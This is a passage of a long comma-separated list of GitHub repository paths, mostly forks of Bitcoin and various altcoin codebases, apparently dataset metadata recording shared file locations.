23\/novafoil,zzkt\/solarcoin,mruddy\/bitcoin,inkvisit\/sarmacoins,cmgustavo\/bitcoin,AdrianaDinca\/bitcoin,h4x3rotab\/BTCGPU,jeromewu\/bitcoin-opennet,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,FeatherCoin\/Feathercoin,majestrate\/twister-core,jonasschnelli\/bitcoin,novacoin-project\/novacoin,REAP720801\/bitcoin,m0gliE\/fastcoin-cli,PIVX-Project\/PIVX,btc1\/bitcoin,ryanofsky\/bitcoin,MonetaryUnit\/MUE-Src,dooglus\/bitcoin,ShadowMyst\/creativechain-core,rdqw\/sscoin,achow101\/bitcoin,world-bank\/unpay-core,denverl\/bitcoin,Czarcoin\/czarcoin,slimcoin-project\/Slimcoin,zotherstupidguy\/bitcoin,lateminer\/bitcoin,celebritycoin\/investorcoin,ryanxcharles\/bitcoin,aciddude\/Feathercoin,iadix\/iadixcoin,Rav3nPL\/PLNcoin,goku1997\/bitcoin,dan-mi-sun\/bitcoin,tjth\/lotterycoin,greenaddress\/bitcoin,jambolo\/bitcoin,erikYX\/yxcoin-FIRST,dscotese\/bitcoin,howardrya\/AcademicCoin,Coinfigli\/coinfigli,coinkeeper\/2015-06-22_18-46_razor,CryptArc\/bitcoinxt,taenaive\/zetacoin,Kabei\/Ippan,leofidus\/glowing-octo-ironman,benma\/bitcoin,p2peace\/oliver-twister-core,5mil\/Bolt,cheehieu\/bitcoin,coinkeeper\/2015-06-22_18-52_viacoin,ftrader-bitcoinunlimited\/hardfork_prototype_1_mvf-bu,LanaCoin\/lanacoin,aspirecoin\/aspire,coinkeeper\/2015-06-22_18-31_bitcoin,anditto\/bitcoin,MoMoneyMonetarism\/ppcoin,palm12341\/jnc,Kogser\/bitcoin,gmaxwell\/bitcoin,Rav3nPL\/doubloons-08,reorder\/viacoin,pastday\/bitcoinproject,thesoftwarejedi\/bitcoin,Carrsy\/PoundCoin,bitcoin-hivemind\/hivemind,drwasho\/bitcoinxt,okinc\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,knolza\/gamblr,supcoin\/supcoin,richo\/dongcoin,BigBlueCeiling\/augmentacoin,jimblasko\/2015_UNB_Wallets,dakk\/soundcoin,BTCfork\/hardfork_prototype_1_mvf-bu,psionin\/smartcoin,lbrtcoin\/albertcoin,cannabiscoindev\/cannabiscoin420,elcrypto\/Pulse,IlfirinCano\/shavercoin,genavarov\/ladacoin,manuel-zulian\/CoMoNet,petertodd\/bitcoin,rat4\/blackcoin,marcusdiaz\/BitcoinUnlimited,coinkeeper\/2015-06-22_19-00_ziftrcoin,javgh\/bitcoin,fullcoins\/fullcoin,ronpaulcoin\/ronpaulcoin,greencoin-dev\/GreenCoinV2,coinkeeper\/2015-06-22_18-31_bitcoin,btc1\/bitcoin,djtms\/ltc,dashpay\/dash,drwasho\/bitcoinxt,millennial83\/bitcoin,IOCoin\/DIONS,brishtiteveja\/sherlockholmescoin,projectinterzone\/ITZ,shapiroisme\/datadollar,rat4\/blackcoin,gjhiggins\/vcoincore,myriadteam\/myriadcoin,globaltoken\/globaltoken,Electronic-Gulden-Foundation\/egulden,TheSeven\/ppcoin,ghostlander\/Orbitcoin,ALEXIUMCOIN\/alexium,Charlesugwu\/Vintagecoin,Mrs-X\/PIVX,FrictionlessCoin\/iXcoin,MitchellMintCoins\/AutoCoin,worldcoinproject\/worldcoin-v0.8,Exceltior\/dogecoin,senadj\/yacoin,zemrys\/vertcoin,Crypto-Currency\/BitBar,marscoin\/marscoin,mortalvikinglive\/bitcoinclassic,Rav3nPL\/PLNcoin,vcoin-project\/vcoin0.8zeta-dev,jmcorgan\/bitcoin,rebroad\/bitcoin,brightcoin\/brightcoin,instagibbs\/bitcoin,domob1812\/namecore,koharjidan\/dogecoin,bitcoinclassic\/bitcoinclassic,ericshawlinux\/bitcoin,ShadowMyst\/creativechain-core,laanwj\/bitcoin-qt,Horrorcoin\/horrorcoin,yacoin\/yacoin,Cancercoin\/Cancercoin,BTCDDev\/bitcoin,pinkevich\/dash,deuscoin\/deuscoin,hg5fm\/nexuscoin,marlengit\/BitcoinUnlimited,altcoinpro\/addacoin,coinkeeper\/megacoin_20150410_fixes,Flurbos\/Flurbo,bcpki\/nonce2,jlay11\/sharecoin,rnicoll\/dogecoin,paveljanik\/bitcoin,thrasher-\/litecoin,bcpki\/bitcoin,nathan-at-least\/zcash,m0gliE\/fastcoin-cli,Rav3nPL\/doubloons-0.10,40thoughts\/Coin-QualCoin,Exceltior\/dogecoin,brishtiteveja\/truthcoin-cpp,Flowdalic\/bitcoin,cryptcoins\/cryptcoin,benosa\/bitcoin,djtms\/ltc,appop\/bitcoin,h4x3rotab\/BTCGPU,zetacoin\/zetacoin,Chancoin-core\/CHANCOIN,PIVX-Project\/PIVX,earthcoinproject\/earthcoin,denverl\/bitcoin,bfroemel\/smallchange,bickojima\/bitzeny,krzysztofwos\/BitcoinUnlimited,elecoin\/elecoin,coinkeeper\/2015-06-22_19-19_worldcoin,x-kalux\/bitcoin_WiG-B,ghostlander\/Testcoin,kleetus\/bitcoinxt,ShwoognationHQ\/bitcoin,meighti\/bitcoin,EntropyFactory\/creativechain-core,arnuschky\/bitcoin,gjhiggins\/vcoincore,Adaryian\/E-Currency,hyperwang\/bitcoin,fanquake\/bitcoin,privatecoin\/privatecoin,terracoin\/terracoin,aspirecoin\/aspire,rdqw\/sscoin,gmaxwell\/bitcoin,lateminer\/bitcoin,ryanxcharles\/bitcoin,sproutcoin\/sprouts,keo\/bitcoin,jaromil\/faircoin2,GroestlCoin\/bitcoin,imton\/bitcoin,CoinGame\/BCEShadow,vectorcoindev\/Vector,goldcoin\/goldcoin,keesdewit82\/LasVegasCoin,Earlz\/dobbscoin-source,omefire\/bitcoin,KaSt\/ekwicoin,bitcoinplusorg\/xbcwalletsource,tjps\/bitcoin,novaexchange\/EAC,stevemyers\/bitcoinxt,acid1789\/bitcoin,franko-org\/franko,MasterX1582\/bitcoin-becoin,xurantju\/bitcoin,bitcoinplusorg\/xbcwalletsource,celebritycoin\/CelebrityCoin,madman5844\/poundkoin,Kcoin-project\/kcoin,greencoin-dev\/greencoin-dev,shelvenzhou\/BTCGPU,Horrorcoin\/horrorcoin,bankonmecoin\/bitcoin,XertroV\/bitcoin-nulldata,coinkeeper\/2015-06-22_18-46_razor,wederw\/bitcoin,miguelfreitas\/twister-core,Erkan-Yilmaz\/twister-core,jonghyeopkim\/bitcoinxt,appop\/bitcoin,earonesty\/bitcoin,namecoin\/namecore,Mrs-X\/Darknet,forrestv\/bitcoin,joshrabinowitz\/bitcoin,scippio\/bitcoin,dgenr8\/bitcoinxt,lbryio\/lbrycrd,aniemerg\/zcash,FuzzyBearBTC\/Peershares,cybermatatu\/bitcoin,sifcoin\/sifcoin,Charlesugwu\/Vintagecoin,ForceMajeure\/BitPenny-Client-0.4.0.1,cddjr\/BitcoinUnlimited,ArgonToken\/ArgonToken,laanwj\/bitcoin-qt,pevernon\/picoin,ahmedbodi\/Bytecoin-MM,bitcoinsSG\/zcash,deeponion\/deeponion,tuaris\/bitcoin,likecoin-dev\/bitcoin,rnicoll\/bitcoin,gwangjin2\/gwangcoin-core,nanocoins\/mycoin,dev1972\/Satellitecoin,joulecoin\/joulecoin,Kefkius\/clams,okinc\/bitcoin,pinkmagicdev\/SwagBucks,AquariusNetwork\/ARCO,creath\/barcoin,capitalDIGI\/litecoin,awemany\/BitcoinUnlimited,litecoin-project\/litecore-litecoin,killerstorm\/bitcoin,etercoin\/etercoin,pstratem\/bitcoin,jameshilliard\/bitcoin,Bitcoin-ABC\/bitcoin-abc,ftrader-bitcoinabc\/bitcoin-abc,pstratem\/elements,cyrixhero\/bitcoin,initaldk\/bitcoin,stamhe\/litecoin,fsb4000\/bitcoin,nochowderforyou\/clams,ftrader-bitcoinabc\/bitcoin-abc,Flurbos\/Flurbo,nightlydash\/darkcoin,stamhe\/bitcoin,gmaxwell\/bitcoin,btc1\/bitcoin,koharjidan\/litecoin,marlengit\/hardfork_prototype_1_mvf-bu,WorldLeadCurrency\/WLC,nailtaras\/nailcoin,jiangyonghang\/bitcoin,pinheadmz\/bitcoin,funkshelper\/woodcore,ElementsProject\/elements,trippysalmon\/bitcoin,Adaryian\/E-Currency,coinkeeper\/2015-06-22_19-07_digitalcoin,lclc\/bitcoin,bmp02050\/ReddcoinUpdates,dashpay\/dash,48thct2jtnf\/P,greencoin-dev\/digitalcoin,cheehieu\/bitcoin,nlgcoin\/guldencoin-official,nigeriacoin\/nigeriacoin,reddink\/reddcoin,slimcoin-project\/Slimcoin,vcoin-project\/vcoin0.8zeta-dev,ohac\/sha1coin,haraldh\/bitcoin,benzmuircroft\/REWIRE.io,core-bitcoin\/bitcoin,martindale\/elements,schinzelh\/dash,koharjidan\/bitcoin,mockcoin\/mockcoin,majestrate\/twister-core,morcos\/bitcoin,SartoNess\/BitcoinUnlimited,fanquake\/bitcoin,slingcoin\/sling-market,dashpay\/dash,Adaryian\/E-Currency,mrtexaznl\/mediterraneancoin,GIJensen\/bitcoin,jrick\/bitcoin,killerstorm\/bitcoin,BitcoinUnlimited\/BitcoinUnlimited,jonasnick\/bitcoin,zander\/bitcoinclassic,jtimon\/bitcoin,dev1972\/Satellitecoin,thodg\/ppcoin,totallylegitbiz\/totallylegitcoin,benzhi888\/renminbi,BitcoinPOW\/BitcoinPOW,anditto\/bitcoin,segwit\/atbcoin-insight,aniemerg\/zcash,nanocoins\/mycoin,leofidus\/glowing-octo-ironman,psionin\/smartcoin,droark\/bitcoin,btcdrak\/bitcoin,tjps\/bitcoin,OmniLayer\/omnicore,Vector2000\/bitcoin,Jcing95\/iop-hd,capitalDIGI\/litecoin,digibyte\/digibyte,bitbrazilcoin-project\/bitbrazilcoin,KibiCoin\/kibicoin,TBoehm\/greedynode,BTCTaras\/bitcoin,coinkeeper\/2015-06-22_19-19_worldcoin,loxal\/zcash,benzmuircroft\/REWIRE.io,bitcoinsSG\/zcash,kleetus\/bitcoin,raasakh\/bardcoin.exe,faircoin\/faircoin2,martindale\/elements,Cocosoft\/bitcoin,jamesob\/bitcoin,fanquake\/bitcoin,2XL\/bitcoin,atgreen\/bitcoin,nvmd\/bitcoin,jiangyonghang\/bitcoin,Kenwhite23\/litecoin,vmp32k\/litecoin,collapsedev\/cashwatt,tuaris\/bitcoin,Tetpay\/bitcoin,vlajos\/bitcoin,genavarov\/ladacoin,Chancoin-core\/CHANCOIN,mastercoin-MSC\/mastercore,cinnamoncoin\/Feathercoin,ludbb\/bitcoin,dexX7\/bitcoin,tripmode\/pxlcoin,worldcoinproject\/worldcoin-v0.8,aburan28\/elements,botland\/bitcoin,erqan\/twister-core,Credit-Currency\/CoinTestComp,pouta\/bitcoin,simdeveloper\/bitcoin,Dinarcoin\/dinarcoin,koltcoin\/koltcoin,scippio\/bitcoin,bfroemel\/smallchange,Earlz\/renamedcoin,themusicgod1\/bitcoin,jmgilbert2\/energi,jrmithdobbs\/bitcoin,renatolage\/wallets-BRCoin,Rav3nPL\/PLNcoin,coinkeeper\/2015-06-22_18-37_dogecoin,Alonzo-Coeus\/bitcoin,ColossusCoinXT\/ColossusCoinXT,okinc\/bitcoin,Har01d\/bitcoin,mapineda\/litecoin,CarpeDiemCoin\/CarpeDiemLaunch,reddcoin-project\/reddcoin,themusicgod1\/bitcoin,bitgrowchain\/bitgrow,SocialCryptoCoin\/SocialCoin,Jheguy2\/Mercury,collapsedev\/circlecash,keisercoin-official\/keisercoin,elcrypto\/Pulse,tuaris\/bitcoin,iadix\/iadixcoin,rdqw\/sscoin,GroestlCoin\/bitcoin,ixcoinofficialpage\/master,axelxod\/braincoin,omefire\/bitcoin,anditto\/bitcoin,robvanmieghem\/clams,jiangyonghang\/bitcoin,freelion93\/mtucicoin,altcoinpro\/addacoin,GroundRod\/anoncoin,FarhanHaque\/bitcoin,Cloudsy\/bitcoin,Peerapps\/ppcoin,oleganza\/bitcoin-duo,Xekyo\/bitcoin,apoelstra\/elements,sproutcoin\/sprouts,mincoin-project\/mincoin,vizidrixfork\/Peershares,reorder\/viacoin,CrimeaCoin\/crimeacoin,jonasnick\/bitcoin,iadix\/iadixcoin,shaulkf\/bitcoin,Christewart\/bitcoin,Anfauglith\/iop-hd,jimmykiselak\/lbrycrd,multicoins\/marycoin,dogecoin\/dogecoin,ahmedbodi\/bytecoin,marlengit\/BitcoinUnlimited,RazorLove\/cloaked-octo-spice,putinclassic\/putic,Kenwhite23\/litecoin,starwels\/starwels,MeshCollider\/bitcoin,kfitzgerald\/titcoin,tatafiore\/mycoin,BTCGPU\/BTCGPU,Whitecoin-org\/Whitecoin,mm-s\/bitcoin,projectinterzone\/ITZ,MazaCoin\/maza,brishtiteveja\/truthcoin-cpp,litecoin-project\/litecoin,deadalnix\/bitcoin,rnicoll\/bitcoin,habibmasuro\/bitcoinxt,marklai9999\/Taiwancoin,celebritycoin\/CelebrityCoin,40thoughts\/Coin-QualCoin,Sjors\/bitcoin,ixcoinofficialpage\/master,cdecker\/bitcoin,CoinGame\/BCEShadow,oklink-dev\/bitcoin_block,raasakh\/bardcoin,domob1812\/bitcoin,redfish64\/nomiccoin,safecoin\/safecoin,Michagogo\/bitcoin,upgradeadvice\/MUE-Src,sebrandon1\/bitcoin,adpg211\/bitcoin-master,Jheguy2\/Mercury,RibbitFROG\/ribbitcoin,alexwaters\/Bitcoin-Testing,haraldh\/bitcoin,FuzzyBearBTC\/Peerunity,ZiftrCOIN\/ziftrcoin,fedoracoin-dev\/fedoracoin,mooncoin-project\/mooncoin-landann,Action-Committee\/Spaceballz,thunderrabbit\/clams,funbucks\/notbitcoinxt,manuel-zulian\/CoMoNet,Ziftr\/Peerunity,matlongsi\/micropay,shaulkf\/bitcoin,tropa\/axecoin,BenjaminsCrypto\/Benjamins-1,effectsToCause\/vericoin,MazaCoin\/maza,krzysztofwos\/BitcoinUnlimited,joshrabinowitz\/bitcoin,greencoin-dev\/GreenCoinV2,neureal\/noocoin,nathan-at-least\/zcash,pataquets\/namecoin-core,phorensic\/yacoin,worldcoinproject\/worldcoin-v0.8,mmpool\/coiledcoin,KibiCoin\/kibicoin,bitcoinknots\/bitcoin,zottejos\/merelcoin,CodeShark\/bitcoin,bespike\/litecoin,bcpki\/nonce2,coinkeeper\/2015-06-22_19-00_ziftrcoin,hsavit1\/bitcoin,nmarley\/dash,rsdevgun16e\/energi,Crowndev\/crowncoin,vericoin\/vericoin-core,jakeva\/bitcoin-pwcheck,pstratem\/bitcoin,GreenParhelia\/bitcoin,cerebrus29301\/crowncoin,iosdevzone\/bitcoin,shapiroisme\/datadollar,DMDcoin\/Diamond,randy-waterhouse\/bitcoin,rat4\/bitcoin,globaltoken\/globaltoken,Coinfigli\/coinfigli,ivansib\/sibcoin,manuel-zulian\/accumunet,FarhanHaque\/bitcoin,neuroidss\/bitcoin,FuzzyBearBTC\/peercoin,coinkeeper\/2015-06-22_18-36_darkcoin,brishtiteveja\/truthcoin-cpp,REAP720801\/bitcoin,pelorusjack\/BlockDX,kfitzgerald\/titcoin,tobeyrowe\/KitoniaCoin,KaSt\/equikoin,simonmulser\/bitcoin,sifcoin\/sifcoin,themusicgod1\/bitcoin,experiencecoin\/experiencecoin,cmgustavo\/bitcoin,TGDiamond\/Diamond,gjhiggins\/vcoin0.8zeta-dev,morcos\/bitcoin,SoreGums\/bitcoinxt,ediston\/energi,jakeva\/bitcoin-pwcheck,ahmedbodi\/temp_vert,ZiftrCOIN\/ziftrcoin,morcos\/bitcoin,gmaxwell\/bitcoin,AllanDoensen\/BitcoinUnlimited,BigBlueCeiling\/augmentacoin,gandrewstone\/BitcoinUnlimited,174high\/bitcoin,lakepay\/lake,apoelstra\/bitcoin,ghostlander\/Orbitcoin,bcpki\/bitcoin,manuel-zulian\/CoMoNet,gandrewstone\/bitcoinxt,GroestlCoin\/bitcoin,DMDcoin\/Diamond,Jheguy2\/Mercury,VsyncCrypto\/Vsync,3lambert\/Molecular,NunoEdgarGub1\/elements,digibyte\/digibyte,wiggi\/fairbrix-0.6.3,reddink\/reddcoin,Crowndev\/crowncoin,ALEXIUMCOIN\/alexium,grumpydevelop\/singularity,goldcoin\/Goldcoin-GLD,Bitcoin-com\/BUcash,droark\/elements,zebrains\/Blotter,bickojima\/bitzeny,tensaix2j\/bananacoin,RongxinZhang\/bitcoinxt,shaulkf\/bitcoin,bitchip\/bitchip,osuyuushi\/laughingmancoin,DGCDev\/argentum,cinnamoncoin\/groupcoin-1,gandrewstone\/bitcoinxt,droark\/elements,s-matthew-english\/bitcoin,Theshadow4all\/ShadowCoin,Flurbos\/Flurbo,domob1812\/huntercore,Megacoin2\/Megacoin,benzmuircroft\/REWIRE.io,Rimbit\/Wallets,instagibbs\/bitcoin,coinkeeper\/2015-06-22_18-56_megacoin,litecoin-project\/bitcoinomg,taenaive\/zetacoin,shadowproject\/shadow,CrimeaCoin\/crimeacoin,21E14\/bitcoin,EntropyFactory\/creativechain-core,aciddude\/Feathercoin,RHavar\/bitcoin,SproutsEx\/SproutsExtreme,Credit-Currency\/CoinTestComp,trippysalmon\/bitcoin,nomnombtc\/bitcoin,NicolasDorier\/bitcoin,dannyperez\/bolivarcoin,rustyrussell\/bitcoin,stamhe\/novacoin,ClusterCoin\/ClusterCoin,Kcoin-project\/kcoin,MarcoFalke\/bitcoin,HashUnlimited\/Einsteinium-Unlimited,gandrewstone\/BitcoinUnlimited,vizidrixfork\/Peershares,RyanLucchese\/energi,borgcoin\/Borgcoin1,dagurval\/bitcoinxt,Lucky7Studio\/bitcoin,bitcoinsSG\/zcash,sipa\/bitcoin,parvez3019\/bitcoin,fussl\/elements,amaivsimau\/bitcoin,metrocoins\/metrocoin,manuel-zulian\/accumunet,particl\/particl-core,stamhe\/ppcoin,ElementsProject\/elements,pstratem\/elements,welshjf\/bitcoin,OstlerDev\/florincoin,untrustbank\/litecoin,Mirobit\/bitcoin,tobeyrowe\/BitStarCoin,BitcoinUnlimited\/BitcoinUnlimited,keesdewit82\/LasVegasCoin,appop\/bitcoin,OstlerDev\/florincoin,multicoins\/marycoin,coblee\/litecoin-old,funbucks\/notbitcoinxt,ticclassic\/ic,midnight-miner\/LasVegasCoin,tmagik\/catcoin,Mrs-X\/PIVX,genavarov\/brcoin,sipa\/elements,sipa\/bitcoin,dpayne9000\/Rubixz-Coin,odemolliens\/bitcoinxt,jambolo\/bitcoin,haraldh\/bitcoin,phelixbtc\/bitcoin,prodigal-son\/blackcoin,pouta\/bitcoin,basicincome\/unpcoin-core,Lucky7Studio\/bitcoin,meighti\/bitcoin,dooglus\/bitcoin,StarbuckBG\/BTCGPU,Bitcoin-ABC\/bitcoin-abc,jaromil\/faircoin2,safecoin\/safecoin,millennial83\/bitcoin,gorgoy\/novacoin,ardsu\/bitcoin,p2peace\/oliver-twister-core,zetacoin\/zetacoin,multicoins\/marycoin,RongxinZhang\/bitcoinxt,maaku\/bitcoin,RazorLove\/cloaked-octo-spice,nightlydash\/darkcoin,adpg211\/bitcoin-master,rsdevgun16e\/energi,MikeAmy\/bitcoin,5mil\/SuperTurboStake,cryptoprojects\/ultimateonlinecash,rat4\/bitcoin,senadj\/yacoin,credits-currency\/credits,myriadteam\/myriadcoin,koharjidan\/dogecoin,r8921039\/bitcoin,litecoin-project\/litecoin,Charlesugwu\/Vintagecoin,domob1812\/huntercore,oklink-dev\/litecoin_block,2XL\/bitcoin,sstone\/bitcoin,madman5844\/poundkoin,bitcoin\/bitcoin,rnicoll\/dogecoin,rromanchuk\/bitcoinxt,bespike\/litecoin,schildbach\/bitcoin,vbernabe\/freicoin,Tetpay\/bitcoin,Action-Committee\/Spaceballz,marlengit\/BitcoinUnlimited,tmagik\/catcoin,simonmulser\/bitcoin,d5000\/ppcoin,raasakh\/bardcoin.exe,megacoin\/megacoin,reorder\/viacoin,ivansib\/sibcoin,hophacker\/bitcoin_malleability,lbryio\/lbrycrd,cybermatatu\/bitcoin,koharjidan\/bitcoin,Erkan-Yilmaz\/twister-core,scippio\/bitcoin,Metronotes\/bitcoin,bmp02050\/ReddcoinUpdates,bcpki\/testblocks,RazorLove\/cloaked-octo-spice,coinkeeper\/2015-06-22_18-51_vertcoin,MitchellMintCoins\/MortgageCoin,etercoin\/etercoin,putinclassic\/putic,namecoin\/namecore,ionux\/freicoin,destenson\/bitcoin--bitcoin,DMDcoin\/Diamond,gandrewstone\/BitcoinUnlimited,jiffe\/cosinecoin,Ziftr\/Peerunity,pevernon\/picoin,brandonrobertz\/namecoin-core,dooglus\/clams,ahmedbodi\/terracoin,Bitcoin-ABC\/bitcoin-abc,Blackcoin\/blackcoin,stamhe\/litecoin,Cloudsy\/bitcoin,gjhiggins\/vcoincore,nochowderforyou\/clams,ccoin-project\/ccoin,dooglus\/clams,midnight-miner\/LasVegasCoin,EntropyFactory\/creativechain-core,mooncoin-project\/mooncoin-landann,acid1789\/bitcoin,wangliu\/bitcoin,fedoracoin-dev\/fedoracoin,alexwaters\/Bitcoin-Testing,rawodb\/bitcoin,IOCoin\/iocoin,torresalyssa\/bitcoin,tripmode\/pxlcoin,inkvisit\/sarmacoins,myriadteam\/myriadcoin,Kenwhite23\/litecoin,isghe\/bitcoinxt,stamhe\/litecoin,n1bor\/bitcoin,zetacoin\/zetacoin,keisercoin-official\/keisercoin,KibiCoin\/kibicoin,bitcoinknots\/bitcoin,constantine001\/bitcoin,oklink-dev\/bitcoin_block,ceptacle\/libcoinqt,Dinarcoin\/dinarcoin,haobtc\/bitcoin,Domer85\/dogecoin,dakk\/soundcoin,josephbisch\/namecoin-core,marscoin\/marscoin,gapcoin\/gapcoin,nlgcoin\/guldencoin-official,dogecoin\/dogecoin,ahmedbodi\/terracoin,thodg\/ppcoin,JeremyRand\/namecoin-core,NateBrune\/bitcoin-nate,achow101\/bitcoin,Rav3nPL\/polcoin,mincoin-project\/mincoin,jiangyonghang\/bitcoin,DogTagRecon\/Still-Leraning,Rav3nPL\/PLNcoin,jul2711\/jucoin,apoelstra\/elements,coinkeeper\/2015-06-22_18-42_litecoin,czr5014iph\/bitcoin4e,phelix\/bitcoin,marklai9999\/Taiwancoin,rjshaver\/bitcoin,KillerByte\/memorypool,szlaozhu\/twister-core,jonasschnelli\/bitcoin,GroundRod\/anoncoin,wiggi\/fairbrix-0.6.3,ivansib\/sibcoin,tjps\/bitcoin,h4x3rotab\/BTCGPU,CoinBlack\/bitcoin,JeremyRand\/namecoin-core,brettwittam\/geocoin,Richcoin-Project\/RichCoin,brishtiteveja\/sherlockcoin,TeamBitBean\/bitcoin-core,IOCoin\/DIONS,bitcoin-hivemind\/hivemind,domob1812\/huntercore,s-matthew-english\/bitcoin,instagibbs\/bitcoin,kevcooper\/bitcoin,dan-mi-sun\/bitcoin,Kogser\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,tmagik\/catcoin,BTCDDev\/bitcoin,ColossusCoinXT\/ColossusCoinXT,litecoin-project\/litecore-litecoin,ahmedbodi\/bytecoin,Vector2000\/bitcoin,donaloconnor\/bitcoin,ohac\/sakuracoin,ionux\/freicoin,thodg\/ppcoin,Flurbos\/Flurbo,sbellem\/bitcoin,WorldLeadCurrency\/WLC,ajtowns\/bitcoin,biblepay\/biblepay,lateminer\/DopeCoinGold,whatrye\/twister-core,TeamBitBean\/bitcoin-core,Carrsy\/PoundCoin,loxal\/zcash,blackcoinhelp\/blackcoin,Kogser\/bitcoin,tjth\/lotterycoin,UFOCoins\/ufo,BTCfork\/hardfork_prototype_1_mvf-bu,digideskio\/namecoin,xawksow\/GroestlCoin,zotherstupidguy\/bitcoin,rustyrussell\/bitcoin,cryptodev35\/icash,raasakh\/bardcoin,zander\/bitcoinclassic,rebroad\/bitcoin,ghostlander\/Feathercoin,CTRoundTable\/Encrypted.Cash,jaromil\/faircoin2,taenaive\/zetacoin,loxal\/zcash,p2peace\/oliver-twister-core,yenliangl\/bitcoin,CodeShark\/bitcoin,NateBrune\/bitcoin-fio,phplaboratory\/psiacoin,goldcoin\/goldcoin,jonasschnelli\/bitcoin,senadj\/yacoin,MikeAmy\/bitcoin,starwalkerz\/fincoin-fork,MOIN\/moin,marlengit\/BitcoinUnlimited,enlighter\/Feathercoin,coinkeeper\/2015-06-22_19-07_digitalcoin,gjhiggins\/vcoincore,error10\/bitcoin,PRabahy\/bitcoin,Flowdalic\/bitcoin,5mil\/SuperTurboStake,neutrinofoundation\/neutrino-digital-currency,jeromewu\/bitcoin-opennet,zotherstupidguy\/bitcoin,kigooz\/smalltest,jnewbery\/bitcoin,BitcoinPOW\/BitcoinPOW,SoreGums\/bitcoinxt,Rav3nPL\/bitcoin,goku1997\/bitcoin,namecoin\/namecore,bootycoin-project\/bootycoin,irvingruan\/bitcoin,nathan-at-least\/zcash,Bushstar\/UFO-Project,ccoin-project\/ccoin,isle2983\/bitcoin,yenliangl\/bitcoin,AllanDoensen\/BitcoinUnlimited,neureal\/noocoin,alecalve\/bitcoin,DMDcoin\/Diamond,worldbit\/worldbit,ptschip\/bitcoinxt,barcoin-project\/nothingcoin,ctwiz\/stardust,nomnombtc\/bitcoin,Bitcoin-ABC\/bitcoin-abc,x-kalux\/bitcoin_WiG-B,TierNolan\/bitcoin,royosherove\/bitcoinxt,DigiByte-Team\/digibyte,JeremyRand\/bitcoin,cainca\/liliucoin,thormuller\/yescoin2,crowning-\/dash,xranby\/blackcoin,brishtiteveja\/truthcoin-cpp,lordsajan\/erupee,Cocosoft\/bitcoin,PRabahy\/bitcoin,mikehearn\/bitcoin,marlengit\/hardfork_prototype_1_mvf-bu,applecoin-official\/applecoin,initaldk\/bitcoin,wekuiz\/wekoin,octocoin-project\/octocoin,acid1789\/bitcoin,initaldk\/bitcoin,ctwiz\/stardust,wekuiz\/wekoin,ahmedbodi\/Bytecoin-MM,szlaozhu\/twister-core,GIJensen\/bitcoin,Infernoman\/crowncoin,chrisfranko\/aiden,puticcoin\/putic,kleetus\/bitcoin,coinkeeper\/2015-06-22_18-46_razor,tmagik\/catcoin,hasanatkazmi\/bitcoin,laudaa\/bitcoin,laanwj\/bitcoin-qt,jlcurby\/NobleCoin,ticclassic\/ic,ddombrowsky\/radioshares,daliwangi\/bitcoin,dagurval\/bitcoinxt,PIVX-Project\/PIVX,JeremyRand\/bitcoin,shadowoneau\/ozcoin,LanaCoin\/lanacoin,zestcoin\/ZESTCOIN,HeliumGas\/helium,rat4\/bitcoin,kleetus\/bitcoin,robvanbentem\/bitcoin,simdeveloper\/bitcoin,npccoin\/npccoin,bitcoinec\/bitcoinec,majestrate\/twister-core,kleetus\/bitcoin,m0gliE\/fastcoin-cli,ekankyesme\/bitcoinxt,DogTagRecon\/Still-Leraning,raasakh\/bardcoin.exe,sebrandon1\/bitcoin,dev1972\/Satellitecoin,jamesob\/bitcoin,amaivsimau\/bitcoin,KnCMiner\/bitcoin,truthcoin\/blocksize-market,5mil\/Tradecoin,5mil\/Bolt,GlobalBoost\/GlobalBoost,cerebrus29301\/crowncoin,Metronotes\/bitcoin,wbchen99\/bitcoin-hnote0,micryon\/GPUcoin,gzuser01\/zetacoin-bitcoin,BTCGPU\/BTCGPU,TheoremCrypto\/TheoremCoin,cryptodev35\/icash,bitgoldcoin-project\/bitgoldcoin,brandonrobertz\/namecoin-core,wcwu\/bitcoin,blocktrail\/bitcoin,JeremyRand\/bitcoin,jlcurby\/NobleCoin,lbrtcoin\/albertcoin,manuel-zulian\/accumunet,vertcoin\/vertcoin,yenliangl\/bitcoin,pataquets\/namecoin-core,AdrianaDinca\/bitcoin,czr5014iph\/bitcoin4e,practicalswift\/bitcoin,h4x3rotab\/BTCGPU,jtimon\/bitcoin,jrmithdobbs\/bitcoin,vertcoin\/vertcoin,senadj\/yacoin,DigiByte-Team\/digibyte,jiangyonghang\/bitcoin,tjps\/bitcoin,langerhans\/dogecoin,AsteraCoin\/AsteraCoin,kazcw\/bitcoin,ixcoinofficialpage\/master,wekuiz\/wekoin,marlengit\/hardfork_prototype_1_mvf-bu,MoMoneyMonetarism\/ppcoin,wangxinxi\/litecoin,sdaftuar\/bitcoin,coinerd\/krugercoin,Har01d\/bitcoin,RongxinZhang\/bitcoinxt,mikehearn\/bitcoin,sigmike\/peercoin,Michagogo\/bitcoin,peacedevelop\/peacecoin,gavinandresen\/bitcoin-git,blocktrail\/bitcoin,kfitzgerald\/titcoin,basicincome\/unpcoin-core,sigmike\/peercoin,FinalHashLLC\/namecore,lbrtcoin\/albertcoin,ionux\/freicoin,kirkalx\/bitcoin,coinkeeper\/2015-06-22_18-51_vertcoin,SproutsEx\/SproutsExtreme,NunoEdgarGub1\/elements,m0gliE\/fastcoin-cli,Diapolo\/bitcoin,DGCDev\/digitalcoin,BTCTaras\/bitcoin,Mrs-X\/PIVX,apoelstra\/bitcoin,SartoNess\/BitcoinUnlimited,shelvenzhou\/BTCGPU,AdrianaDinca\/bitcoin,EthanHeilman\/bitcoin,ryanxcharles\/bitcoin,bitcoinsSG\/zcash,cryptohelper\/premine,Czarcoin\/czarcoin,uphold\/bitcoin,cybermatatu\/bitcoin,multicoins\/marycoin,Bitcoin-ABC\/bitcoin-abc,RibbitFROG\/ribbitcoin,totallylegitbiz\/totallylegitcoin,initaldk\/bitcoin,genavarov\/lamacoin,xranby\/blackcoin,robvanbentem\/bitcoin,cryptocoins4all\/zcoin,marscoin\/marscoin,keisercoin-official\/keisercoin,NicolasDorier\/bitcoin,steakknife\/bitcoin-qt,palm12341\/jnc,jtimon\/elements,wellenreiter01\/Feathercoin,romanornr\/viacoin,senadmd\/coinmarketwatch,donaloconnor\/bitcoin,jn2840\/bitcoin,bitcoinxt\/bitcoinxt,raasakh\/bardcoin,petertodd\/bitcoin,sarielsaz\/sarielsaz,argentumproject\/argentu